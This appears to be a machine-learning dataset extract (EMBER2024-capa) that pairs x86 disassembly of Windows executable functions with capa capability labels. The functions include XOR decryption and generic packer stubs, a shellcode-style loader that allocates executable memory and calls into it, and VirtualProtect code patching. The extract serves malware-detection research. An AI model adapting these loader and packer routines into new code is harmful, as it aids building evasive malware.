joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413760
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41378d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41378d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..reloc
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x4ac17cca
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42f314
mov ecx, 0x5f927858
nop
nop
test eax, eax
nop
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x405248
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4263e4]
jne 0x405252
repz ret
jmp fcn.0040b067

Function at 0x406eeb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x406f1c
call fcn.0040c56d
mov dword [eax], esi
call fcn.0040c55a
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00407c86
add esp, 0x14
push 0x16
pop eax
jmp 0x406f71
test dword [ebp + 0xc], 0xfffffff9
jne 0x406ef8
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x406f49
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040c580
pop ecx
call fcn.0040c55a
mov eax, dword [eax]
jmp 0x406f71
test al, 0x10
jne 0x406f6f
test al, 1
je 0x406f6f
test byte [ebp + 0xc], 2
je 0x406f6f
call fcn.0040c56d
mov dword [eax], 5
call fcn.0040c55a
mov dword [eax], 0xd
jmp 0x406f40
xor eax, eax
pop esi
pop ebp
ret

Function at 0x4139ee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040d99a
and dword [ebp - 4], 0
cmp dword [0x427ae0], 0
mov ebx, eax
jne 0x413a9f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413b50
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413b50
push eax
call fcn.0040d928
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x427ae0], eax
call esi
push eax
call fcn.0040d928
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x427ae4], eax
call esi
push eax
call fcn.0040d928
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x427ae8], eax
call esi
push eax
call fcn.0040d928
pop ecx
mov dword [0x427af0], eax
test eax, eax
je 0x413a9f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d928
pop ecx
mov dword [0x427aec], eax
mov eax, dword [0x427aec]
cmp eax, ebx
je 0x413af7
cmp dword [0x427af0], ebx
je 0x413af7
push eax
call fcn.0040d9a3
push dword [0x427af0]
mov esi, eax
call fcn.0040d9a3
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413af7
test edi, edi
je 0x413af7
call esi
test eax, eax
je 0x413aee
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413aee
test byte [ebp - 0xc], 1
jne 0x413af7
or dword [ebp + 0x10], 0x200000
jmp 0x413b30
mov eax, dword [0x427ae4]
cmp eax, ebx
je 0x413b30
push eax
call fcn.0040d9a3
pop ecx
test eax, eax
je 0x413b30
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413b30
mov eax, dword [0x427ae8]
cmp eax, ebx
je 0x413b30
push eax
call fcn.0040d9a3
pop ecx
test eax, eax
je 0x413b30
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x427ae0]
call fcn.0040d9a3
pop ecx
test eax, eax
je 0x413b50
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413b52
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x416040
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x24]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.0040a3f5
add esp, 0x10
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x24]
push edx
call fcn.0040a601
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x416270
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4263e4]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x28], ecx
mov byte [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x23], eax
mov dword [ebp - 0x1f], eax
mov dword [ebp - 0x1b], eax
mov dword [ebp - 0x17], eax
mov dword [ebp - 0x13], eax
mov dword [ebp - 0xf], eax
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov ecx, dword [ebp - 0x28]
add ecx, 4
call fcn.00402000
push eax
push 0x20
lea ecx, [ebp - 0x24]
push ecx
push 0x420cec
mov ecx, dword [ebp - 0x28]
add ecx, 0x20
call fcn.00402000
push eax
push str.filter
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x24]
push edx
call fcn.0040a214
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405248
mov esp, ebp
pop ebp
ret

Function at 0x416b30
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 8]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x416b54
jmp 0x416b89
mov dword [ebp - 4], str._SystemRoot_inf
mov ecx, dword [ebp - 4]
push ecx
call fcn.00406e60
add esp, 4
push eax
mov edx, dword [ebp - 4]
push edx
push 2
push 0
push str.DevicePath
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x418f90
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp + 8]
call fcn.00402990
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x418fb6
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 4]
jae 0x419053
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp + 8]
call fcn.004043f0
cmp dword [eax], 0
je 0x41904e
push 1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
call fcn.004043f0
mov ecx, dword [eax]
call fcn.00402000
push eax
mov ecx, dword [ebp - 8]
push ecx
mov ecx, dword [ebp + 8]
call fcn.004043f0
mov ecx, dword [eax]
add ecx, 0x1c
call fcn.00402000
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x41904e
mov edx, dword [ebp - 8]
push edx
mov ecx, dword [ebp + 8]
call fcn.004043f0
mov ecx, dword [eax]
call fcn.00402000
push eax
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
call fcn.004043f0
mov ecx, dword [eax]
add ecx, 0x1c
call fcn.00402000
push eax
push str._COMEBACK_:Undo_Rename__s_to__s_failed_n
push 2
call fcn.004168e0
push eax
call fcn.00416130
add esp, 0x14
xor ecx, ecx
jne 0x41900a
jmp 0x418fad
mov al, 1
mov esp, ebp
pop ebp
ret 4
Function at 0x551a70
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x290
mov eax, dword [0x594ccc]
xor eax, esp
mov dword [esp + 0x28c], eax
push ebx
push esi
push 0x80
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0051d250
push 0x80
lea ebx, [esp + 0x20]
mov ecx, edi
call fcn.00550950
lea eax, [esp + 0x1a0]
mov edx, edi
mov ecx, eax
add esp, 0x10
mov esi, 0x104
sub edx, ecx
lea esp, [esp]
lea ecx, [esi + 0x7ffffefa]
test ecx, ecx
je 0x551adb
mov cl, byte [edx + eax]
test cl, cl
je 0x551adb
mov byte [eax], cl
inc eax
sub esi, 1
jne 0x551ac0
jmp 0x551adf
test esi, esi
jne 0x551ae0
dec eax
lea edx, [esp + 0x10]
push edx
mov byte [eax], 0
push 0x104
lea eax, [esp + 0x198]
push eax
call fcn.00550860
push 0xff
lea ecx, [esp + 0x95]
push 0
push ecx
mov dword [esp + 0x18], 1
mov byte [esp + 0x9c], 0
call fcn.0051d250
add esp, 0xc
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x94]
push eax
lea ecx, [esp + 0x14]
push ecx
push 0x565db4
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], 0x100
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov esi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
test eax, eax
jne 0x551bbb
mov ecx, edi
lea eax, [esp + 0x90]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x551b83
test dl, dl
je 0x551b7f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x551b83
add eax, 2
add ecx, 2
test dl, dl
jne 0x551b63
xor eax, eax
jmp 0x551b88
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x551bbb
lea eax, [esp + 0x90]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x551b96
sub eax, edx
push eax
lea edx, [esp + 0x94]
push edx
push 1
push str.mid_old
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call esi
lea eax, [esp + 0x190]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x551bc5
sub eax, edx
push eax
lea eax, [esp + 0x194]
push eax
push 1
push 0x565db4
push str.Software360SafeLiveup
push reloc.OLEAUT32.dll_SysReAllocString
call esi
mov ecx, dword [esp + 0x294]
pop esi
pop ebx
xor ecx, esp
call fcn.0051d23b
add esp, 0x290
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7f4b20be
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1aed212a
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x1000ee90
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x1001e108]
xor eax, esp
mov dword [esp + 0x190], eax
mov eax, dword [esp + 0x19c]
sub eax, 0
je 0x1000eed2
dec eax
jne 0x1000eee2
mov eax, dword [esp + 0x198]
lea ecx, [esp]
push ecx
push 2
mov dword [0x1001e7f4], eax
call dword [sym.imp.wsock32.dll_WSAStartup]
mov dword [0x1001e3d8], eax
jmp 0x1000eee2
call dword [sym.imp.wsock32.dll_WSACleanup]
mov dword [0x1001e7f4], 0
mov ecx, dword [esp + 0x190]
xor ecx, esp
mov eax, 1
call fcn.10017ff3
add esp, 0x194
ret 0xc

Function at 0x1000f4c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1000f4cf
pop dword [ebp - 8]
mov eax, 0xb9119417
sub eax, 0xa9109f48
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x25580486
sub dword [ebp - 0x18], 0xd705bf3b
mov dword [ebp - 0x14], 0x5d46c1fe
add dword [ebp - 0x14], 0xd4ec8a47
mov dword [ebp - 0x10], 0x98a7f7a8
add dword [ebp - 0x10], 0xb3a44c86
mov dword [ebp - 0xc], 0x15730b9
add dword [ebp - 0xc], 0xfea8cf47
lea eax, [ebp - 0x18]
push eax
mov eax, 0x92a25ebf
sub eax, 0x82a0ce6f
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xdc2d5bbb
add dword [ebp - 0x18], 0x98450d9b
mov dword [ebp - 0x14], 0xcea83c47
sub dword [ebp - 0x14], 0x8d3bdad2
mov dword [ebp - 0x10], 0xd5cd0b27
add dword [ebp - 0x10], 0x8da26145
mov dword [ebp - 0xc], 0xa2385076
add dword [ebp - 0xc], 0x5dc7af8a
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xe3913996
sub eax, 0xd38fa942
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x36375
push 0
call eax
mov ecx, 0x46f1
mov esi, eax
mov edx, 0x10021a00
add edx, dword [ebp - 8]
mov ebx, 0x745696e4
add ebx, 0x468c0e87
add dword [ebp - 4], 0x38b8ab0
mov edi, dword [edx]
mov dword [ebp - 4], 0x75b72489
xor edi, ebx
xor dword [ebp - 4], edi
mov dword [esi], edi
add dword [ebp - 4], 0x837d3510
add esi, 4
add edx, 0xd1a5f9b
sub edx, 0xd1a5f97
loop 0x1000f5e5
add eax, 0x68ab388d
add eax, 0x9755d60a
mov ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x401996
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test ebx, ebx
sete dl
cmp dword [ebp + 8], 0
sete al
mov ecx, 0
or dl, al
jne 0x401ada
lea ecx, [edi*4 + 0xb]
mov edx, 0x2aaaaaab
mov eax, ecx
imul edx
sar edx, 1
mov eax, ecx
sar eax, 0x1f
sub edx, eax
lea edx, [edx*4 + 1]
cmp edx, dword [ebp + 0x14]
jle 0x401a3d
mov dword [esp], 0x6f
call 0x40c300
sub esp, 4
mov ecx, 0
jmp 0x401ada
movzx eax, byte [ecx]
and eax, 3
shl eax, 4
movzx eax, byte [eax + section.297aqsbg]
mov byte [ebx + 1], al
mov byte [ebx + 2], 0x3d
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
movzx eax, byte [ecx + 1]
and eax, 0xf
movzx eax, byte [eax*4 + section.297aqsbg]
mov byte [ebx + 2], al
mov byte [ebx + 3], 0x3d
add ebx, 4
jmp 0x401ad2
mov esi, 0
mov ecx, dword [ebp + 8]
cmp esi, edi
jge 0x401ad2
movzx eax, byte [ecx]
shr al, 2
movzx eax, al
movzx eax, byte [eax + section.297aqsbg]
mov byte [ebx], al
mov eax, edi
sub eax, esi
cmp eax, 1
je 0x4019fc
movzx edx, byte [ecx]
and edx, 3
shl edx, 4
movzx eax, byte [ecx + 1]
shr al, 4
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.297aqsbg]
mov byte [ebx + 1], al
mov eax, edi
sub eax, esi
cmp eax, 2
je 0x401a1f
movzx edx, byte [ecx + 1]
and edx, 0xf
shl edx, 2
movzx eax, byte [ecx + 2]
shr al, 6
movzx eax, al
or edx, eax
movzx eax, byte [edx + section.297aqsbg]
mov byte [ebx + 2], al
movzx eax, byte [ecx + 2]
and eax, 0x3f
movzx eax, byte [eax + section.297aqsbg]
mov byte [ebx + 3], al
add esi, 3
add ecx, 3
add ebx, 4
cmp esi, edi
jl 0x401a4d
mov byte [ebx], 0
mov ecx, 1
mov eax, ecx
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..idata
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x91b0bf8
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6970406e
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x2d8ac0d4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x2d8ac0e3
pop dword [ebp - 0x20]
mov eax, 0x10d0af77
sub eax, 0xe345ee94
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x54c3c1e
add dword [ebp - 0x30], 0x4906092d
mov dword [ebp - 0x2c], 0x2fb5ad00
sub dword [ebp - 0x2c], 0xfd8260bb
mov dword [ebp - 0x28], 0xaa327f06
add dword [ebp - 0x28], 0xa219c528
mov dword [ebp - 0x24], 0xb3af7dab
sub dword [ebp - 0x24], 0xb3af7dab
lea eax, [ebp - 0x30]
push eax
mov eax, 0xf39dbdaf
sub eax, 0xc6106d37
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xcb08075c
sub dword [ebp - 0x30], 0x56959e06
mov dword [ebp - 0x2c], 0xf55f6937
add dword [ebp - 0x2c], 0x4c0cf83e
mov dword [ebp - 0x28], 0x1badc571
add dword [ebp - 0x28], 0x47c1a6fb
mov dword [ebp - 0x24], 0x269b36f0
add dword [ebp - 0x24], 0xd964c910
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xf44c930b
add eax, 0x3940bd75
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x5d039
push 0
call eax
mov ecx, 0x4579
xor edi, edi
add edi, eax
mov ebx, 0x7efaefb4
add ebx, 0xae9d024c
add ebx, dword [ebp - 0x20]
mov esi, 0x3d23d35a
add esi, 0x63962334
mov edx, dword [ebx]
sub edx, esi
sub dword [ebp - 0x18], 0x2e7e5772
mov dword [edi], edx
xor dword [ebp - 8], 0xe1d40fb1
add edi, 4
add ebx, 4
loop 0x2d8ac201
add eax, 0x108b7
mov ebx, eax
add eax, 0x943fc72e
add eax, 0x6bc038d7
mov ecx, 0x800a5a5e
sub ecx, 0x528a5a5e
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x10003d40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100c83c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov bl, byte [0x10142386]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp bl, byte [0x1014237a]
je 0x10003dd7
mov eax, 0x100c2b40
mov dword [0x10142390], 0x100c2b34
test bl, bl
mov edx, 0x100c2b4c
push str.xxxxx_xx
cmove edx, eax
mov dword [0x1014239c], edx
call fcn.10003bf0
mov esi, eax
add esp, 4
mov dword [0x10142394], esi
test esi, esi
je 0x10003dd7
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push esi
call edi
test bl, bl
mov word [esi + 1], 0x8b25
mov ecx, 0xeb
mov byte [esi + 3], 0x54
mov eax, 0x74
cmovne eax, ecx
mov byte [esi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push esi
call edi
mov byte [0x1014237a], bl
mov bl, byte [0x10142378]
cmp bl, byte [0x10142387]
je 0x10003e55
mov eax, 0x100c2b60
mov dword [0x10142390], 0x100c2b58
test bl, bl
mov edx, 0x100c2b68
push str.xxxx_xx
cmove edx, eax
mov dword [0x1014239c], edx
call fcn.10003bf0
mov esi, eax
add esp, 4
mov dword [0x10142394], esi
test esi, esi
je 0x10003e55
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push esi
call edi
test bl, bl
mov word [esi + 1], 0xd909
mov ecx, 0xeb
mov byte [esi + 3], 0x47
mov eax, 0x7a
cmovne eax, ecx
mov byte [esi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push esi
call edi
mov byte [0x10142387], bl
mov bl, byte [0x10142384]
cmp bl, byte [0x10142385]
je 0x10003ecd
mov eax, 0x100c2b7c
mov dword [0x10142390], 0x100c2b70
test bl, bl
mov edx, 0x100c2b88
push str.xxxxxxxxx
cmove edx, eax
mov dword [0x1014239c], edx
call fcn.10003bf0
mov esi, eax
add esp, 4
mov dword [0x10142394], esi
test esi, esi
je 0x10003ecd
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push esi
call edi
test bl, bl
mov word [esi], 0
mov byte [esi + 2], 0xf0
setne al
dec al
and al, 0x41
mov byte [esi + 3], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push esi
call edi
mov byte [0x10142385], bl
mov bl, byte [0x10142379]
cmp bl, byte [0x1014237b]
je 0x10003f43
mov eax, 0x100c2b9c
mov dword [0x10142390], 0x100c2ba4
test bl, bl
mov edx, 0x100c2b94
push str.xxxx
cmove edx, eax
mov dword [0x1014239c], edx
call fcn.10003bf0
mov esi, eax
add esp, 4
mov dword [0x10142394], esi
test esi, esi
je 0x10003f43
lea eax, [ebp - 8]
push eax
push 0x40
push 4
push esi
call edi
test bl, bl
mov word [esi + 1], 0x8351
mov byte [esi + 3], 0xce
sete al
inc al
mov byte [esi], al
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push 4
push esi
call edi
mov byte [0x1014237b], bl
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100acd72
mov esp, ebp
pop ebp
ret